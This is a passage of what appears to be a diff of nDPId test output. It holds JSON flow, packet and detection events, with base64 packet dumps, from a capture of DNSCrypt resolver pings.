AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":38,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789547,"flow_src_last_pkt_time":946739304789547,"flow_dst_last_pkt_time":946739304789547,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789547,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38867,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":84,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304789570} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304789570,"packet_id":84,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304789570} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":84,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304789547,"pkt":"REREREREZmZmZmZmCABFAABQ6z8Aub0Rot4KAAABMw96+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":39,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789691,"flow_src_last_pkt_time":946739304789691,"flow_dst_last_pkt_time":946739304789691,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789691,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":59709,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_src_last_pkt_time":946739304789691,"flow_dst_last_pkt_time":946739304789691,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304789691,"pkt":"REREREREZmZmZmZmCABFAAXc60AgAL0RfgoKAAABMw96+uk9AbsGBP+VxkgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":39,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789691,"flow_src_last_pkt_time":946739304789691,"flow_dst_last_pkt_time":946739304789691,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789691,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":59709,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":86,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304789707} -00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":86,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304789691,"pkt":"REREREREZmZmZmZmCABFAABQ60AAub0Rot0KAAABMw96+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":87,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789731,"flow_src_last_pkt_time":946739304789731,"flow_dst_last_pkt_time":946739304789731,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789731,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":36668,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_src_last_pkt_time":946739304789731,"flow_dst_last_pkt_time":946739304789731,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304789731,"pkt":"REREREREZmZmZmZmCABFAAIc60FAAL0RYckKAAABMw96+o88AbsCCHDfxkcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00879{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":87,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":40,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789731,"flow_src_last_pkt_time":946739304789731,"flow_dst_last_pkt_time":946739304789731,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789731,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":36668,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":41,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789776,"flow_src_last_pkt_time":946739304789776,"flow_dst_last_pkt_time":946739304789776,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789776,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":39007,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_src_last_pkt_time":946739304789776,"flow_dst_last_pkt_time":946739304789776,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304789776,"pkt":"REREREREZmZmZmZmCABFAAXc60IgAL0RfggKAAABMw96+phfAbsGBFB4xkQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":41,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789776,"flow_src_last_pkt_time":946739304789776,"flow_dst_last_pkt_time":946739304789776,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789776,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":39007,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":89,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304789813} -00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":89,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304789776,"pkt":"REREREREZmZmZmZmCABFAABQ60IAub0RotsKAAABMw96+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":90,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":42,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789862,"flow_src_last_pkt_time":946739304789862,"flow_dst_last_pkt_time":946739304789862,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789862,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38362,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_src_last_pkt_time":946739304789862,"flow_dst_last_pkt_time":946739304789862,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304789862,"pkt":"REREREREZmZmZmZmCABFAAIc60NAAL0RYccKAAABMw96+pXaAbsCCHDfxkUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00879{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":90,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":42,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789862,"flow_src_last_pkt_time":946739304789862,"flow_dst_last_pkt_time":946739304789862,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789862,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38362,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -219,18 +215,12 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":105,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":46,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305155235,"flow_src_last_pkt_time":946739305155235,"flow_dst_last_pkt_time":946739305155235,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305155235,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":43633,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_src_last_pkt_time":946739305155235,"flow_dst_last_pkt_time":946739305155235,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305155235,"pkt":"REREREREZmZmZmZmCABFAAXcU1YgAL0RcE4KAAABizvIdKpxAbsGBMEKc5QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 